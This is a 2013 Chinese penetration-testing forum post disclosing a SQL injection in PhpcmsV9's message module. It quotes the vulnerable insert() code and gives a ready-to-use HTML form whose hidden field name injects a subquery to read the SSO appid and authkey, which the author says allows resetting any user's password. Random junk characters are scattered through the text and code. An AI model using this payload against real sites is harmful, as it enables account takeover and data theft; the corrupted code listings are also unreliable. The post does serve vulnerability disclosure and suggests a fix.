中国网络渗透测试联盟

标题: PhpcmsV9 SQL注射修改任意用户密码漏洞 [打印本页]

作者: admin    时间: 2013-2-23 11:33
标题: PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:
$ N% r- }3 l' y. C( O" D* F6 R0 y, U2 R1 |7 I2 m
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。! \. O4 W! o' k* K# d# Z

+ r4 Q/ j. f( }1 }明天再更新下一个漏洞。
- R; C$ N4 d5 Q8 B' O; r; }9 l详细说明:
2 ?8 N+ h" \& F# y2 T$ X, H" R在/phpcms9/phpcms/modules/message/index.php中有代码如下:$ C8 z, c0 x% S4 j* [2 Q5 Q

9 v: W+ b) K4 a/ i" m9 }9 ?, b& W$messageid = $this->message_db->insert($_POST['info'],true);# U" l) I, d4 O
7 T6 c8 M/ m0 f1 Q7 ^5 }  J! W* N' X
' v" [' b- N) v5 J# K
insert方法是key value的,代码如下:
. T; P/ R3 H4 M4 {% S6 m, s% r
6 n2 D. k6 p. W- k9 L$ R6 |* mpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
4 h' Z7 Y- l+ u: h4 ?, [  x6 f                if(!is_array( $data ) || $table == '' || count($data) == 0) {
0 B3 b% g- m5 ?7 h) D- n                        return false;3 s. @  q9 `5 U3 \- `3 M; V' w
                }
6 E% K. F7 q0 H, A                / L7 r6 D- y) W1 g
                $fielddata = array_keys($data);
" o) y2 S6 `! v+ l                $valuedata = array_values($data);1 j- d6 N% ?6 Y+ \- y" C" t7 ?
                array_walk($fielddata, array($this, 'add_special_char'));
' A1 F9 s9 @* j+ _9 y                array_walk($valuedata, array($this, 'escape_string'));( w2 B# z+ B) Q5 Z
                : p0 d( P/ R! ~$ D/ v
                $field = implode (',', $fielddata);
; v8 `5 E' \/ H4 w0 V                $value = implode (',', $valuedata);! C" n; m' y: e' O6 y5 W

1 `1 Z' s5 y+ g. e) [+ |! c) P! P                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';4 N% H+ P, f, i
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';$ T/ }# W, v- C, N2 O
                $return = $this->execute($sql);
& ]3 f2 P0 k1 `! E' C                return $return_insert_id ? $this->insert_id() : $return;
: W( r/ l# T, j. z) h        }+ }9 s) n& [1 I) A$ H# \  u& M

8 E1 t* Z+ y8 e! T! N% {) Y& V- U  D% @' A9 o3 l& k
嗯,很遗憾的是
5 [& F# q3 c$ s1 b+ @* W) y3 d) B2 g2 w# c6 G1 `: |
array_walk($fielddata, array($this, 'add_special_char'));
2 m6 {/ j% F7 T& U/ `9 X8 T' J4 H" O1 v# k% H4 ~+ W$ U& B

; b  K& a; @% {7 w中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
5 y4 c* w& [* H& Y
8 z) |1 u5 T; q# J* L到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。! G  g, e& _. h& L# D: D9 q
- l; y7 C7 @4 Q3 p3 @* F
漏洞证明:
2 p/ h8 I, s! Z3 t2 s3 `  Z读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
4 o. u3 P! X9 Q$ b4 Q2 Z3 m[attach]200[/attach]% }& B  w7 m' h
. a' T* x" ^' k' K" Q
表单如下:用户名什么的得自己改一改。" v" R. ~( L6 ?0 Z5 G
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">1 E) R* O1 u* K; F- v, D( E1 j1 t
<table width="100%" cellspacing="0" class="table_form">
( M$ u  C7 k, B) W% U3 B7 N<tr>2 i2 d6 b+ H$ Y6 L# j) d' Q1 p  p
<th>标 题:</th>- i" y: ^( S3 n% Y! E4 {
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
  ]+ F, o# Y+ {' D' }</tr> 0 p; _; _+ c# s8 x% _0 E
<tr>
8 N& Z/ s, }4 A<th>内 容:</th>
9 L  h  r' |4 _<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>3 y9 p7 d) [2 i& y5 D3 S
</tr>
4 H9 e$ X7 `. N<input type="hidden" name="info[replyid]" value="2" />
' |$ ~: `3 x3 d& q7 u( F<input type="hidden" name="info[send_to_id]" value="cc" />
. H6 r) v4 n" h<input type="hidden" name="info[send_from_id]" value="hh">
9 t  n( f0 S2 V) F$ U- R. ~<!-- 漏洞的利用重点在这里开始 -->
) v% f( `9 y5 V' j8 R; E<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
* L- O# g- F6 H2 B<!-- 漏洞的利用重点在这里结束 -->/ p+ P6 A& C# Q  p2 T, u' {
<tr>
/ J; M" y/ ^6 F/ j9 B<th>验证码:</th>
( b  n2 R2 G7 h+ F  K3 D2 `9 |<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>7 F0 k  B# c  D
</tr>
4 i) }. F% F/ ^1 z) A* Z- o4 O<tr>
3 T0 S3 M7 o3 t1 ?, l: B<td></td>  ?; @# m# [7 x0 j! B% u# @* J/ @
<td colspan="2"><label>1 y5 `8 E) j* o; t, T
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
9 N; z: w1 ~; _</label></td>
: a2 h6 R. \: W1 B4 K5 l, t1 f</tr>! I6 y% d, o' T
</table>- p. \; `# g' y, [/ i
</form>
) b9 J$ T! F% F4 G$ n- P- H, T在add_special_char函数内对key做过滤就可以了。) g9 p6 `) ~! {
5 C+ N! S  p5 i% {
# N2 Q0 h/ v2 _; d9 D" h$ M
( u- U3 `9 k" x0 H! a0 V  g& S





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2